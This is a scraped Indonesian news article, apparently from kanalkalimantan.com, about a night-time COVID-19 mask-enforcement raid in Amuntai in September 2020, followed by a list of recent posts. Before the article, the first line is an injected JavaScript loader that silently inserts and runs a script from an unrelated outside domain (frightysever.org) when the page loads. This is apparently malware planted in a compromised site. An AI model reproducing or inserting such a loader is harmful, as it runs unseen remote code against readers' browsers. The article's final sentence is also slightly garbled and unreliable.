(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Razia Protokol Kesehatan Malam Hari di Amuntai, Pelanggar Kebanyakan Remaja Tak Bermasker


KANALKALIMANTAN.COM, AMUNTAI – Sedikitnya 42 pelanggar kebanyakan remaja, terjaring operasi penegakan disiplin protokol kesehatan Covid-19 yang digelar tim gabungan Satpol-/ PP, TNI dan Polri di seputar kota Amuntai, Kamis (17/9/2020) malam.

Operasi penegakan disiplin ini dipimpin langsung Kapolres Hulu Sungai Utara (HSU) bersama Dandim 1001 Amuntai, Plt Kepala Satpol PP, dan Camat Amuntai Tengah.

Patroli diantaranya menyasar beberapa kawasan yakni Taman Kota Junjung Buih, Siring Patung Itik, kawasan hotel, tempat biliar, hingga beberapa kawasan jalan utama di kota Amuntai.

Kapolres HSU AKBP Afri Darmawan mengatakan, apabila warga yang tidak menuruti imbauan polisi atau melawan petugas untuk membubarkan diri, dapat dijerat pasal 212 KUHP, 216 KUHP, dan pasal 218 KUHP.

“Tetapi memang betul, bisa saja kami kenakan aturan perundang-undangan, tetapi itu paling terakhir, apa sepertinya? Contohnya pasal 212, 216, 218 KUHP, itu ada aturannya,” ungkap Afri Darmawan. Kapolres HSU menyebut operasi penegakan protokol kesehatan Covid-19 ini seperti yang ditekankan Polda Kalsel melalui perintah Kapolda Kalsel Irjen Pol Nico Afinta.

Afri menjelaskan, pembubaran kerumunan telah tertuang dalam Maklumat Kapolri Nomor Mak/2/III/2020 tentang Kepatuhan terhadap Kebijakan Pemerintah dalam Penanganan Penyebaran Virus Corona (Covid-19).

Sementara, Plt Kepala Satpol PP dan Damkar HSU Jumadi mengakui selama menggelar razia sebagian besar pelanggar yang terjaring kebanyakan para remaja, pelajar yang berkumpul, tanpa menggunakan masker.

Bersama Kapolres dan Dandim, Pemkab HSU selalu mengingatkan akan pentingnya protokol kesehatan.

“Karena saat ini HSU merupakan zona merah, kepada pelanggar agar saling mengingatkan kepada keluarga supaya selalu mentaati protokol kesehatan,” tukasnya

Kegiatan operasi yang digelar pukul 21.00 Wita, mereka yang terjaring diberik tindakan sanksi pembinaan fisik berupa saja.
(kanalkalimantan.com/dew)

Reporter : Dew
Editor : Bie

Al Ghifari

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

2 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

2 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

2 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

2 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

3 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

3 jam ago

This website uses cookies.